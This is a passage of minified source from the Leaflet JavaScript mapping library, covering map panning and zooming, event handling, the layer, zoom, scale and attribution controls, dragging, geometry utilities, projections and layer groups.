n=this._zoom!==e;this._zoom=e;this._lastCenter=t;this._pixelOrigin=this._getNewPixelOrigin(t);if(n||i&&i.pinch){this.fire("zoom",i)}return this.fire("move",i)},_moveEnd:function(t){if(t){this.fire("zoomend")}return this.fire("moveend")},_stop:function(){T(this._flyToFrame);if(this._panAnim){this._panAnim.stop()}return this},_rawPanBy:function(t){ve(this._mapPane,this._getMapPanePos().subtract(t))},_getZoomSpan:function(){return this.getMaxZoom()-this.getMinZoom()},_panInsideMaxBounds:function(){if(!this._enforcingBounds){this.panInsideBounds(this.options.maxBounds)}},_checkIfLoaded:function(){if(!this._loaded){throw new Error("Set map center and zoom first.")}},_initEvents:function(t){this._targets={};this._targets[r(this._container)]=this;var e=t?Ae:Be;e(this._container,"click dblclick mousedown mouseup "+"mouseover mouseout mousemove contextmenu keypress keydown keyup",this._handleDOMEvent,this);if(this.options.trackResize){e(window,"resize",this._onResize,this)}if(gt&&this.options.transform3DLimit){(t?this.off:this.on).call(this,"moveend",this._onMoveEnd)}},_onResize:function(){T(this._resizeRequest);this._resizeRequest=M((function(){this.invalidateSize({debounceMoveend:true})}),this)},_onScroll:function(){this._container.scrollTop=0;this._container.scrollLeft=0},_onMoveEnd:function(){var t=this._getMapPanePos();if(Math.max(Math.abs(t.x),Math.abs(t.y))>=this.options.transform3DLimit){this._resetView(this.getCenter(),this.getZoom())}},_findEventTargets:function(t,e){var i=[],n,o=e==="mouseout"||e==="mouseover",s=t.target||t.srcElement,a=false;while(s){n=this._targets[r(s)];if(n&&(e==="click"||e==="preclick")&&!t._simulated&&this._draggableMoved(n)){a=true;break}if(n&&n.listens(e,true)){if(o&&!Xe(s,t)){break}i.push(n);if(o){break}}if(s===this._container){break}s=s.parentNode}if(!i.length&&!a&&!o&&Xe(s,t)){i=[this]}return i},_handleDOMEvent:function(t){if(!this._loaded||Je(t)){return}var e=t.type;if(e==="mousedown"||e==="keypress"||e==="keyup"||e==="keydown"){ke(t.target||t.srcElement)}this._fireDOMEvent(t,e)},_mouseEvents:["click","dblclick","mouseover","mouseout","contextmenu"],_fireDOMEvent:function(t,e,n){if(t.type==="click"){var o=i({},t);o.type="preclick";this._fireDOMEvent(o,o.type,n)}if(t._stopped){return}n=(n||[]).concat(this._findEventTargets(t,e));if(!n.length){return}var s=n[0];if(e==="contextmenu"&&s.listens(e,true)){Ge(t)}var r={originalEvent:t};if(t.type!=="keypress"&&t.type!=="keydown"&&t.type!=="keyup"){var a=s.getLatLng&&(!s._radius||s._radius<=10);r.containerPoint=a?this.latLngToContainerPoint(s.getLatLng()):this.mouseEventToContainerPoint(t);r.layerPoint=this.containerPointToLayerPoint(r.containerPoint);r.latlng=a?s.getLatLng():this.layerPointToLatLng(r.layerPoint)}for(var h=0;h<n.length;h++){n[h].fire(e,r,true);if(r.originalEvent._stopped||n[h].options.bubblingMouseEvents===false&&v(this._mouseEvents,e)!==-1){return}}},_draggableMoved:function(t){t=t.dragging&&t.dragging.enabled()?t:this;return t.dragging&&t.dragging.moved()||this.boxZoom&&this.boxZoom.moved()},_clearHandlers:function(){for(var t=0,e=this._handlers.length;t<e;t++){this._handlers[t].disable()}},whenReady:function(t,e){if(this._loaded){t.call(e||this,{target:this})}else{this.on("load",t,e)}return this},_getMapPanePos:function(){return ye(this._mapPane)||new B(0,0)},_moved:function(){var t=this._getMapPanePos();return t&&!t.equals([0,0])},_getTopLeftPoint:function(t,e){var i=t&&e!==undefined?this._getNewPixelOrigin(t,e):this.getPixelOrigin();return i.subtract(this._getMapPanePos())},_getNewPixelOrigin:function(t,e){var i=this.getSize()._divideBy(2);return this.project(t,e)._subtract(i)._add(this._getMapPanePos())._round()},_latLngToNewLayerPoint:function(t,e,i){var n=this._getNewPixelOrigin(i,e);return this.project(t,e)._subtract(n)},_latLngBoundsToNewLayerBounds:function(t,e,i){var n=this._getNewPixelOrigin(i,e);return R([this.project(t.getSouthWest(),e)._subtract(n),this.project(t.getNorthWest(),e)._subtract(n),this.project(t.getSouthEast(),e)._subtract(n),this.project(t.getNorthEast(),e)._subtract(n)])},_getCenterLayerPoint:function(){return this.containerPointToLayerPoint(this.getSize()._divideBy(2))},_getCenterOffset:function(t){return this.latLngToLayerPoint(t).subtract(this._getCenterLayerPoint())},_limitCenter:function(t,e,i){if(!i){return t}var n=this.project(t,e),o=this.getSize().divideBy(2),s=new O(n.subtract(o),n.add(o)),r=this._getBoundsOffset(s,i,e);if(r.round().equals([0,0])){return t}return this.unproject(n.add(r),e)},_limitOffset:function(t,e){if(!e){return t}var i=this.getPixelBounds(),n=new O(i.min.add(t),i.max.add(t));return t.add(this._getBoundsOffset(n,e))},_getBoundsOffset:function(t,e,i){var n=R(this.project(e.getNorthEast(),i),this.project(e.getSouthWest(),i)),o=n.min.subtract(t.min),s=n.max.subtract(t.max),r=this._rebound(o.x,-s.x),a=this._rebound(o.y,-s.y);return new B(r,a)},_rebound:function(t,e){return t+e>0?Math.round(t-e)/2:Math.max(0,Math.ceil(t))-Math.max(0,Math.floor(e))},_limitZoom:function(t){var e=this.getMinZoom(),i=this.getMaxZoom(),n=gt?this.options.zoomSnap:1;if(n){t=Math.round(t/n)*n}return Math.max(e,Math.min(i,t))},_onPanTransitionStep:function(){this.fire("move")},_onPanTransitionEnd:function(){ce(this._mapPane,"leaflet-pan-anim");this.fire("moveend")},_tryAnimatedPan:function(t,e){var i=this._getCenterOffset(t)._trunc();if((e&&e.animate)!==true&&!this.getSize().contains(i)){return false}this.panBy(i,e);return true},_createAnimProxy:function(){var t=this._proxy=oe("div","leaflet-proxy leaflet-zoom-animated");this._panes.mapPane.appendChild(t);this.on("zoomanim",(function(t){var e=$t,i=this._proxy.style[e];ge(this._proxy,this.project(t.center,t.zoom),this.getZoomScale(t.zoom,1));if(i===this._proxy.style[e]&&this._animatingZoom){this._onZoomTransitionEnd()}}),this);this.on("load moveend",this._animMoveEnd,this);this._on("unload",this._destroyAnimProxy,this)},_destroyAnimProxy:function(){se(this._proxy);this.off("load moveend",this._animMoveEnd,this);delete this._proxy},_animMoveEnd:function(){var t=this.getCenter(),e=this.getZoom();ge(this._proxy,this.project(t,e),this.getZoomScale(e,1))},_catchTransitionEnd:function(t){if(this._animatingZoom&&t.propertyName.indexOf("transform")>=0){this._onZoomTransitionEnd()}},_nothingToAnimate:function(){return!this._container.getElementsByClassName("leaflet-zoom-animated").length},_tryAnimatedZoom:function(t,e,i){if(this._animatingZoom){return true}i=i||{};if(!this._zoomAnimated||i.animate===false||this._nothingToAnimate()||Math.abs(e-this._zoom)>this.options.zoomAnimationThreshold){return false}var n=this.getZoomScale(e),o=this._getCenterOffset(t)._divideBy(1-1/n);if(i.animate!==true&&!this.getSize().contains(o)){return false}M((function(){this._moveStart(true,false)._animateZoom(t,e,true)}),this);return true},_animateZoom:function(t,e,i,n){if(!this._mapPane){return}if(i){this._animatingZoom=true;this._animateToCenter=t;this._animateToZoom=e;ue(this._mapPane,"leaflet-zoom-anim")}this.fire("zoomanim",{center:t,zoom:e,noUpdate:n});setTimeout(o(this._onZoomTransitionEnd,this),250)},_onZoomTransitionEnd:function(){if(!this._animatingZoom){return}if(this._mapPane){ce(this._mapPane,"leaflet-zoom-anim")}this._animatingZoom=false;this._move(this._animateToCenter,this._animateToZoom);M((function(){this._moveEnd(true)}),this)}});function ei(t,e){return new ti(t,e)}var ii=S.extend({options:{position:"topright"},initialize:function(t){f(this,t)},getPosition:function(){return this.options.position},setPosition:function(t){var e=this._map;if(e){e.removeControl(this)}this.options.position=t;if(e){e.addControl(this)}return this},getContainer:function(){return this._container},addTo:function(t){this.remove();this._map=t;var e=this._container=this.onAdd(t),i=this.getPosition(),n=t._controlCorners[i];ue(e,"leaflet-control");if(i.indexOf("bottom")!==-1){n.insertBefore(e,n.firstChild)}else{n.appendChild(e)}this._map.on("unload",this.remove,this);return this},remove:function(){if(!this._map){return this}se(this._container);if(this.onRemove){this.onRemove(this._map)}this._map.off("unload",this.remove,this);this._map=null;return this},_refocusOnMap:function(t){if(this._map&&t&&t.screenX>0&&t.screenY>0){this._map.getContainer().focus()}}});var ni=function(t){return new ii(t)};ti.include({addControl:function(t){t.addTo(this);return this},removeControl:function(t){t.remove();return this},_initControlPos:function(){var t=this._controlCorners={},e="leaflet-",i=this._controlContainer=oe("div",e+"control-container",this._container);function n(n,o){var s=e+n+" "+e+o;t[n+o]=oe("div",s,i)}n("top","left");n("top","right");n("bottom","left");n("bottom","right")},_clearControlPos:function(){for(var t in this._controlCorners){se(this._controlCorners[t])}se(this._controlContainer);delete this._controlCorners;delete this._controlContainer}});var oi=ii.extend({options:{collapsed:true,position:"topright",autoZIndex:true,hideSingleBase:false,sortLayers:false,sortFunction:function(t,e,i,n){return i<n?-1:n<i?1:0}},initialize:function(t,e,i){f(this,i);this._layerControlInputs=[];this._layers=[];this._lastZIndex=0;this._handlingClick=false;for(var n in t){this._addLayer(t[n],n)}for(n in e){this._addLayer(e[n],n,true)}},onAdd:function(t){this._initLayout();this._update();this._map=t;t.on("zoomend",this._checkDisabledLayers,this);for(var e=0;e<this._layers.length;e++){this._layers[e].layer.on("add remove",this._onLayerChange,this)}return this._container},addTo:function(t){ii.prototype.addTo.call(this,t);return this._expandIfNotCollapsed()},onRemove:function(){this._map.off("zoomend",this._checkDisabledLayers,this);for(var t=0;t<this._layers.length;t++){this._layers[t].layer.off("add remove",this._onLayerChange,this)}},addBaseLayer:function(t,e){this._addLayer(t,e);return this._map?this._update():this},addOverlay:function(t,e){this._addLayer(t,e,true);return this._map?this._update():this},removeLayer:function(t){t.off("add remove",this._onLayerChange,this);var e=this._getLayer(r(t));if(e){this._layers.splice(this._layers.indexOf(e),1)}return this._map?this._update():this},expand:function(){ue(this._container,"leaflet-control-layers-expanded");this._section.style.height=null;var t=this._map.getSize().y-(this._container.offsetTop+50);if(t<this._section.clientHeight){ue(this._section,"leaflet-control-layers-scrollbar");this._section.style.height=t+"px"}else{ce(this._section,"leaflet-control-layers-scrollbar")}this._checkDisabledLayers();return this},collapse:function(){ce(this._container,"leaflet-control-layers-expanded");return this},_initLayout:function(){var t="leaflet-control-layers",e=this._container=oe("div",t),i=this.options.collapsed;e.setAttribute("aria-haspopup",true);Fe(e);je(e);var n=this._section=oe("section",t+"-list");if(i){this._map.on("click",this.collapse,this);if(!nt){Be(e,{mouseenter:this.expand,mouseleave:this.collapse},this)}}var o=this._layersLink=oe("a",t+"-toggle",e);o.href="#";o.title="Layers";if(bt){Be(o,"click",He);Be(o,"click",this.expand,this)}else{Be(o,"focus",this.expand,this)}if(!i){this.expand()}this._baseLayersList=oe("div",t+"-base",n);this._separator=oe("div",t+"-separator",n);this._overlaysList=oe("div",t+"-overlays",n);e.appendChild(n)},_getLayer:function(t){for(var e=0;e<this._layers.length;e++){if(this._layers[e]&&r(this._layers[e].layer)===t){return this._layers[e]}}},_addLayer:function(t,e,i){if(this._map){t.on("add remove",this._onLayerChange,this)}this._layers.push({layer:t,name:e,overlay:i});if(this.options.sortLayers){this._layers.sort(o((function(t,e){return this.options.sortFunction(t.layer,e.layer,t.name,e.name)}),this))}if(this.options.autoZIndex&&t.setZIndex){this._lastZIndex++;t.setZIndex(this._lastZIndex)}this._expandIfNotCollapsed()},_update:function(){if(!this._container){return this}re(this._baseLayersList);re(this._overlaysList);this._layerControlInputs=[];var t,e,i,n,o=0;for(i=0;i<this._layers.length;i++){n=this._layers[i];this._addItem(n);e=e||n.overlay;t=t||!n.overlay;o+=!n.overlay?1:0}if(this.options.hideSingleBase){t=t&&o>1;this._baseLayersList.style.display=t?"":"none"}this._separator.style.display=e&&t?"":"none";return this},_onLayerChange:function(t){if(!this._handlingClick){this._update()}var e=this._getLayer(r(t.target));var i=e.overlay?t.type==="add"?"overlayadd":"overlayremove":t.type==="add"?"baselayerchange":null;if(i){this._map.fire(i,e)}},_createRadioElement:function(t,e){var i='<input type="radio" class="leaflet-control-layers-selector" name="'+t+'"'+(e?' checked="checked"':"")+"/>";var n=document.createElement("div");n.innerHTML=i;return n.firstChild},_addItem:function(t){var e=document.createElement("label"),i=this._map.hasLayer(t.layer),n;if(t.overlay){n=document.createElement("input");n.type="checkbox";n.className="leaflet-control-layers-selector";n.defaultChecked=i}else{n=this._createRadioElement("leaflet-base-layers_"+r(this),i)}this._layerControlInputs.push(n);n.layerId=r(t.layer);Be(n,"click",this._onInputClick,this);var o=document.createElement("span");o.innerHTML=" "+t.name;var s=document.createElement("div");e.appendChild(s);s.appendChild(n);s.appendChild(o);var a=t.overlay?this._overlaysList:this._baseLayersList;a.appendChild(e);this._checkDisabledLayers();return e},_onInputClick:function(){var t=this._layerControlInputs,e,i;var n=[],o=[];this._handlingClick=true;for(var s=t.length-1;s>=0;s--){e=t[s];i=this._getLayer(e.layerId).layer;if(e.checked){n.push(i)}else if(!e.checked){o.push(i)}}for(s=0;s<o.length;s++){if(this._map.hasLayer(o[s])){this._map.removeLayer(o[s])}}for(s=0;s<n.length;s++){if(!this._map.hasLayer(n[s])){this._map.addLayer(n[s])}}this._handlingClick=false;this._refocusOnMap()},_checkDisabledLayers:function(){var t=this._layerControlInputs,e,i,n=this._map.getZoom();for(var o=t.length-1;o>=0;o--){e=t[o];i=this._getLayer(e.layerId).layer;e.disabled=i.options.minZoom!==undefined&&n<i.options.minZoom||i.options.maxZoom!==undefined&&n>i.options.maxZoom}},_expandIfNotCollapsed:function(){if(this._map&&!this.options.collapsed){this.expand()}return this},_expand:function(){return this.expand()},_collapse:function(){return this.collapse()}});var si=function(t,e,i){return new oi(t,e,i)};var ri=ii.extend({options:{position:"topleft",zoomInText:"+",zoomInTitle:"Zoom in",zoomOutText:"−",zoomOutTitle:"Zoom out"},onAdd:function(t){var e="leaflet-control-zoom",i=oe("div",e+" leaflet-bar"),n=this.options;this._zoomInButton=this._createButton(n.zoomInText,n.zoomInTitle,e+"-in",i,this._zoomIn);this._zoomOutButton=this._createButton(n.zoomOutText,n.zoomOutTitle,e+"-out",i,this._zoomOut);this._updateDisabled();t.on("zoomend zoomlevelschange",this._updateDisabled,this);return i},onRemove:function(t){t.off("zoomend zoomlevelschange",this._updateDisabled,this)},disable:function(){this._disabled=true;this._updateDisabled();return this},enable:function(){this._disabled=false;this._updateDisabled();return this},_zoomIn:function(t){if(!this._disabled&&this._map._zoom<this._map.getMaxZoom()){this._map.zoomIn(this._map.options.zoomDelta*(t.shiftKey?3:1))}},_zoomOut:function(t){if(!this._disabled&&this._map._zoom>this._map.getMinZoom()){this._map.zoomOut(this._map.options.zoomDelta*(t.shiftKey?3:1))}},_createButton:function(t,e,i,n,o){var s=oe("a",i,n);s.innerHTML=t;s.href="#";s.title=e;s.setAttribute("role","button");s.setAttribute("aria-label",e);Fe(s);Be(s,"click",He);Be(s,"click",o,this);Be(s,"click",this._refocusOnMap,this);return s},_updateDisabled:function(){var t=this._map,e="leaflet-disabled";ce(this._zoomInButton,e);ce(this._zoomOutButton,e);if(this._disabled||t._zoom===t.getMinZoom()){ue(this._zoomOutButton,e)}if(this._disabled||t._zoom===t.getMaxZoom()){ue(this._zoomInButton,e)}}});ti.mergeOptions({zoomControl:true});ti.addInitHook((function(){if(this.options.zoomControl){this.zoomControl=new ri;this.addControl(this.zoomControl)}}));var ai=function(t){return new ri(t)};var hi=ii.extend({options:{position:"bottomleft",maxWidth:100,metric:true,imperial:true},onAdd:function(t){var e="leaflet-control-scale",i=oe("div",e),n=this.options;this._addScales(n,e+"-line",i);t.on(n.updateWhenIdle?"moveend":"move",this._update,this);t.whenReady(this._update,this);return i},onRemove:function(t){t.off(this.options.updateWhenIdle?"moveend":"move",this._update,this)},_addScales:function(t,e,i){if(t.metric){this._mScale=oe("div",e,i)}if(t.imperial){this._iScale=oe("div",e,i)}},_update:function(){var t=this._map,e=t.getSize().y/2;var i=t.distance(t.containerPointToLatLng([0,e]),t.containerPointToLatLng([this.options.maxWidth,e]));this._updateScales(i)},_updateScales:function(t){if(this.options.metric&&t){this._updateMetric(t)}if(this.options.imperial&&t){this._updateImperial(t)}},_updateMetric:function(t){var e=this._getRoundNum(t),i=e<1e3?e+" m":e/1e3+" km";this._updateScale(this._mScale,i,e/t)},_updateImperial:function(t){var e=t*3.2808399,i,n,o;if(e>5280){i=e/5280;n=this._getRoundNum(i);this._updateScale(this._iScale,n+" mi",n/i)}else{o=this._getRoundNum(e);this._updateScale(this._iScale,o+" ft",o/e)}},_updateScale:function(t,e,i){t.style.width=Math.round(this.options.maxWidth*i)+"px";t.innerHTML=e},_getRoundNum:function(t){var e=Math.pow(10,(Math.floor(t)+"").length-1),i=t/e;i=i>=10?10:i>=5?5:i>=3?3:i>=2?2:1;return e*i}});var li=function(t){return new hi(t)};var ui=ii.extend({options:{position:"bottomright",prefix:'<a href="https://leafletjs.com" title="A JS library for interactive maps">Leaflet</a>'},initialize:function(t){f(this,t);this._attributions={}},onAdd:function(t){t.attributionControl=this;this._container=oe("div","leaflet-control-attribution");Fe(this._container);for(var e in t._layers){if(t._layers[e].getAttribution){this.addAttribution(t._layers[e].getAttribution())}}this._update();return this._container},setPrefix:function(t){this.options.prefix=t;this._update();return this},addAttribution:function(t){if(!t){return this}if(!this._attributions[t]){this._attributions[t]=0}this._attributions[t]++;this._update();return this},removeAttribution:function(t){if(!t){return this}if(this._attributions[t]){this._attributions[t]--;this._update()}return this},_update:function(){if(!this._map){return}var t=[];for(var e in this._attributions){if(this._attributions[e]){t.push(e)}}var i=[];if(this.options.prefix){i.push(this.options.prefix)}if(t.length){i.push(t.join(", "))}this._container.innerHTML=i.join(" | ")}});ti.mergeOptions({attributionControl:true});ti.addInitHook((function(){if(this.options.attributionControl){(new ui).addTo(this)}}));var ci=function(t){return new ui(t)};ii.Layers=oi;ii.Zoom=ri;ii.Scale=hi;ii.Attribution=ui;ni.layers=si;ni.zoom=ai;ni.scale=li;ni.attribution=ci;var di=S.extend({initialize:function(t){this._map=t},enable:function(){if(this._enabled){return this}this._enabled=true;this.addHooks();return this},disable:function(){if(!this._enabled){return this}this._enabled=false;this.removeHooks();return this},enabled:function(){return!!this._enabled}});di.addTo=function(t,e){t.addHandler(e,this);return this};var fi={Events:E};var pi=bt?"touchstart mousedown":"mousedown";var _i={mousedown:"mouseup",touchstart:"touchend",pointerdown:"touchend",MSPointerDown:"touchend"};var mi={mousedown:"mousemove",touchstart:"touchmove",pointerdown:"touchmove",MSPointerDown:"touchmove"};var gi=Z.extend({options:{clickTolerance:3},initialize:function(t,e,i,n){f(this,n);this._element=t;this._dragStartTarget=e||t;this._preventOutline=i},enable:function(){if(this._enabled){return}Be(this._dragStartTarget,pi,this._onDown,this);this._enabled=true},disable:function(){if(!this._enabled){return}if(gi._dragging===this){this.finishDrag()}Ae(this._dragStartTarget,pi,this._onDown,this);this._enabled=false;this._moved=false},_onDown:function(t){if(t._simulated||!this._enabled){return}this._moved=false;if(le(this._element,"leaflet-zoom-anim")){return}if(gi._dragging||t.shiftKey||t.which!==1&&t.button!==1&&!t.touches){return}gi._dragging=this;if(this._preventOutline){ke(this._element)}Pe();Le();if(this._moving){return}this.fire("down");var e=t.touches?t.touches[0]:t,i=ze(this._element);this._startPoint=new B(e.clientX,e.clientY);this._parentScale=Ee(i);Be(document,mi[t.type],this._onMove,this);Be(document,_i[t.type],this._onUp,this)},_onMove:function(t){if(t._simulated||!this._enabled){return}if(t.touches&&t.touches.length>1){this._moved=true;return}var e=t.touches&&t.touches.length===1?t.touches[0]:t,i=new B(e.clientX,e.clientY)._subtract(this._startPoint);if(!i.x&&!i.y){return}if(Math.abs(i.x)+Math.abs(i.y)<this.options.clickTolerance){return}i.x/=this._parentScale.x;i.y/=this._parentScale.y;Ge(t);if(!this._moved){this.fire("dragstart");this._moved=true;this._startPos=ye(this._element).subtract(i);ue(document.body,"leaflet-dragging");this._lastTarget=t.target||t.srcElement;if(window.SVGElementInstance&&this._lastTarget instanceof window.SVGElementInstance){this._lastTarget=this._lastTarget.correspondingUseElement}ue(this._lastTarget,"leaflet-drag-target")}this._newPos=this._startPos.add(i);this._moving=true;T(this._animRequest);this._lastEvent=t;this._animRequest=M(this._updatePosition,this,true)},_updatePosition:function(){var t={originalEvent:this._lastEvent};this.fire("predrag",t);ve(this._element,this._newPos);this.fire("drag",t)},_onUp:function(t){if(t._simulated||!this._enabled){return}this.finishDrag()},finishDrag:function(){ce(document.body,"leaflet-dragging");if(this._lastTarget){ce(this._lastTarget,"leaflet-drag-target");this._lastTarget=null}for(var t in mi){Ae(document,mi[t],this._onMove,this);Ae(document,_i[t],this._onUp,this)}Ce();xe();if(this._moved&&this._moving){T(this._animRequest);this.fire("dragend",{distance:this._newPos.distanceTo(this._startPos)})}this._moving=false;gi._dragging=false}});function vi(t,e){if(!e||!t.length){return t.slice()}var i=e*e;t=bi(t,i);t=xi(t,i);return t}function yi(t,e,i){return Math.sqrt(Si(t,e,i,true))}function Li(t,e,i){return Si(t,e,i)}function xi(t,e){var i=t.length,n=typeof Uint8Array!==undefined+""?Uint8Array:Array,o=new n(i);o[0]=o[i-1]=1;wi(t,o,e,0,i-1);var s,r=[];for(s=0;s<i;s++){if(o[s]){r.push(t[s])}}return r}function wi(t,e,i,n,o){var s=0,r,a,h;for(a=n+1;a<=o-1;a++){h=Si(t[a],t[n],t[o],true);if(h>s){r=a;s=h}}if(s>i){e[r]=1;wi(t,e,i,n,r);wi(t,e,i,r,o)}}function bi(t,e){var i=[t[0]];for(var n=1,o=0,s=t.length;n<s;n++){if(ki(t[n],t[o])>e){i.push(t[n]);o=n}}if(o<s-1){i.push(t[s-1])}return i}var Pi;function Ci(t,e,i,n,o){var s=n?Pi:Ti(t,i),r=Ti(e,i),a,h,l;Pi=r;while(true){if(!(s|r)){return[t,e]}if(s&r){return false}a=s||r;h=Mi(t,e,a,i,o);l=Ti(h,i);if(a===s){t=h;s=l}else{e=h;r=l}}}function Mi(t,e,i,n,o){var s=e.x-t.x,r=e.y-t.y,a=n.min,h=n.max,l,u;if(i&8){l=t.x+s*(h.y-t.y)/r;u=h.y}else if(i&4){l=t.x+s*(a.y-t.y)/r;u=a.y}else if(i&2){l=h.x;u=t.y+r*(h.x-t.x)/s}else if(i&1){l=a.x;u=t.y+r*(a.x-t.x)/s}return new B(l,u,o)}function Ti(t,e){var i=0;if(t.x<e.min.x){i|=1}else if(t.x>e.max.x){i|=2}if(t.y<e.min.y){i|=4}else if(t.y>e.max.y){i|=8}return i}function ki(t,e){var i=e.x-t.x,n=e.y-t.y;return i*i+n*n}function Si(t,e,i,n){var o=e.x,s=e.y,r=i.x-o,a=i.y-s,h=r*r+a*a,l;if(h>0){l=((t.x-o)*r+(t.y-s)*a)/h;if(l>1){o=i.x;s=i.y}else if(l>0){o+=r*l;s+=a*l}}r=t.x-o;a=t.y-s;return n?r*r+a*a:new B(o,s)}function zi(t){return!g(t[0])||typeof t[0][0]!=="object"&&typeof t[0][0]!=="undefined"}function Ei(t){console.warn("Deprecated use of _flat, please use L.LineUtil.isFlat instead.");return zi(t)}var Zi={simplify:vi,pointToSegmentDistance:yi,closestPointOnSegment:Li,clipSegment:Ci,_getEdgeIntersection:Mi,_getBitCode:Ti,_sqClosestPointOnSegment:Si,isFlat:zi,_flat:Ei};function Bi(t,e,i){var n,o=[1,4,2,8],s,r,a,h,l,u,c,d;for(s=0,u=t.length;s<u;s++){t[s]._code=Ti(t[s],e)}for(a=0;a<4;a++){c=o[a];n=[];for(s=0,u=t.length,r=u-1;s<u;r=s++){h=t[s];l=t[r];if(!(h._code&c)){if(l._code&c){d=Mi(l,h,c,e,i);d._code=Ti(d,e);n.push(d)}n.push(h)}else if(!(l._code&c)){d=Mi(l,h,c,e,i);d._code=Ti(d,e);n.push(d)}}t=n}return t}var Ii={clipPolygon:Bi};var Ai={project:function(t){return new B(t.lng,t.lat)},unproject:function(t){return new U(t.y,t.x)},bounds:new O([-180,-90],[180,90])};var Oi={R:6378137,R_MINOR:6356752.314245179,bounds:new O([-20037508.34279,-15496570.73972],[20037508.34279,18764656.23138]),project:function(t){var e=Math.PI/180,i=this.R,n=t.lat*e,o=this.R_MINOR/i,s=Math.sqrt(1-o*o),r=s*Math.sin(n);var a=Math.tan(Math.PI/4-n/2)/Math.pow((1-r)/(1+r),s/2);n=-i*Math.log(Math.max(a,1e-10));return new B(t.lng*e*i,n)},unproject:function(t){var e=180/Math.PI,i=this.R,n=this.R_MINOR/i,o=Math.sqrt(1-n*n),s=Math.exp(-t.y/i),r=Math.PI/2-2*Math.atan(s);for(var a=0,h=.1,l;a<15&&Math.abs(h)>1e-7;a++){l=o*Math.sin(r);l=Math.pow((1-l)/(1+l),o/2);h=Math.PI/2-2*Math.atan(s*l)-r;r+=h}return new U(r*e,t.x*e/i)}};var Ri={LonLat:Ai,Mercator:Oi,SphericalMercator:W};var Ni=i({},G,{code:"EPSG:3395",projection:Oi,transformation:function(){var t=.5/(Math.PI*Oi.R);return V(t,.5,-t,.5)}()});var Di=i({},G,{code:"EPSG:4326",projection:Ai,transformation:V(1/180,1,-1/180,.5)});var Ui=i({},F,{projection:Ai,transformation:V(1,0,-1,0),scale:function(t){return Math.pow(2,t)},zoom:function(t){return Math.log(t)/Math.LN2},distance:function(t,e){var i=e.lng-t.lng,n=e.lat-t.lat;return Math.sqrt(i*i+n*n)},infinite:true});F.Earth=G;F.EPSG3395=Ni;F.EPSG3857=K;F.EPSG900913=Y;F.EPSG4326=Di;F.Simple=Ui;var ji=Z.extend({options:{pane:"overlayPane",attribution:null,bubblingMouseEvents:true},addTo:function(t){t.addLayer(this);return this},remove:function(){return this.removeFrom(this._map||this._mapToAdd)},removeFrom:function(t){if(t){t.removeLayer(this)}return this},getPane:function(t){return this._map.getPane(t?this.options[t]||t:this.options.pane)},addInteractiveTarget:function(t){this._map._targets[r(t)]=this;return this},removeInteractiveTarget:function(t){delete this._map._targets[r(t)];return this},getAttribution:function(){return this.options.attribution},_layerAdd:function(t){var e=t.target;if(!e.hasLayer(this)){return}this._map=e;this._zoomAnimated=e._zoomAnimated;if(this.getEvents){var i=this.getEvents();e.on(i,this);this.once("remove",(function(){e.off(i,this)}),this)}this.onAdd(e);if(this.getAttribution&&e.attributionControl){e.attributionControl.addAttribution(this.getAttribution())}this.fire("add");e.fire("layeradd",{layer:this})}});ti.include({addLayer:function(t){if(!t._layerAdd){throw new Error("The provided object is not a Layer.")}var e=r(t);if(this._layers[e]){return this}this._layers[e]=t;t._mapToAdd=this;if(t.beforeAdd){t.beforeAdd(this)}this.whenReady(t._layerAdd,t);return this},removeLayer:function(t){var e=r(t);if(!this._layers[e]){return this}if(this._loaded){t.onRemove(this)}if(t.getAttribution&&this.attributionControl){this.attributionControl.removeAttribution(t.getAttribution())}delete this._layers[e];if(this._loaded){this.fire("layerremove",{layer:t});t.fire("remove")}t._map=t._mapToAdd=null;return this},hasLayer:function(t){return!!t&&r(t)in this._layers},eachLayer:function(t,e){for(var i in this._layers){t.call(e,this._layers[i])}return this},_addLayers:function(t){t=t?g(t)?t:[t]:[];for(var e=0,i=t.length;e<i;e++){this.addLayer(t[e])}},_addZoomLimit:function(t){if(isNaN(t.options.maxZoom)||!isNaN(t.options.minZoom)){this._zoomBoundLayers[r(t)]=t;this._updateZoomLevels()}},_removeZoomLimit:function(t){var e=r(t);if(this._zoomBoundLayers[e]){delete this._zoomBoundLayers[e];this._updateZoomLevels()}},_updateZoomLevels:function(){var t=Infinity,e=-Infinity,i=this._getZoomSpan();for(var n in this._zoomBoundLayers){var o=this._zoomBoundLayers[n].options;t=o.minZoom===undefined?t:Math.min(t,o.minZoom);e=o.maxZoom===undefined?e:Math.max(e,o.maxZoom)}this._layersMaxZoom=e===-Infinity?undefined:e;this._layersMinZoom=t===Infinity?undefined:t;if(i!==this._getZoomSpan()){this.fire("zoomlevelschange")}if(this.options.maxZoom===undefined&&this._layersMaxZoom&&this.getZoom()>this._layersMaxZoom){this.setZoom(this._layersMaxZoom)}if(this.options.minZoom===undefined&&this._layersMinZoom&&this.getZoom()<this._layersMinZoom){this.setZoom(this._layersMinZoom)}}});var Fi=ji.extend({initialize:function(t,e){f(this,e);this._layers={};var i,n;if(t){for(i=0,n=t.length;i<n;i++){this.addLayer(t[i])}}},addLayer:function(t){var e=this.getLayerId(t);this._layers[e]=t;if(this._map){this._map.addLayer(t)}return this},removeLayer:function(t){var e=t in this._layers?t:this.getLayerId(t);if(this._map&&this._layers[e]){this._map.removeLayer(this._layers[e])}delete this._layers[e];return this},hasLayer:function(t){if(!t){return false}var e=typeof t==="number"?t:this.getLayerId(t);return e in this._layers},clearLayers:function(){return this.eachLayer(this.removeLayer,this)},invoke:function(t){var e=Array.prototype.slice.call(arguments,1),i,n;for(i in this._layers){n=this._layers[i];if(n[t]){n[t].apply(n,e)}}return this},onAdd:function(t){this.eachLayer(t.addLayer,t)},onRemove:function(t){this.eachLayer(t.removeLayer,t)},eachLayer:function(t,e){for(var i in this._layers){t.call(e,this._layers[i])}return this},getLayer:function(t){return this._layers[t]},getLayers:function(){var t=[];this.eachLayer(t.push,t);return t},setZIndex:function(t){return this.invoke("setZIndex",t)},getLayerId:function(t){return r(t)}});var Gi=function(t,e){return new Fi(t,e)};var Hi=Fi.extend({addLayer:function(t){if(this.hasLayer(t)){return this}t.addEventParent(this);Fi.prototype.addLayer.call(this,t);return this.fire("layeradd",{layer:t})},removeLayer:function(t){if(!this.hasLayer(t)){return this}if(t in this._layers){t=this._layers[t]}t.removeEventParent(this);Fi.prototype.removeLayer.call(this,t);return this.fire("layerremove",{layer:t})},setStyle:function(t){return this.invoke("setStyle",t)},bringToFront:function(){return this.invoke("bringToFront")},bringToBack:function(){return this.invoke("bringToBack")},getBounds:function(){var t=new N;for(var e in this._layers){var 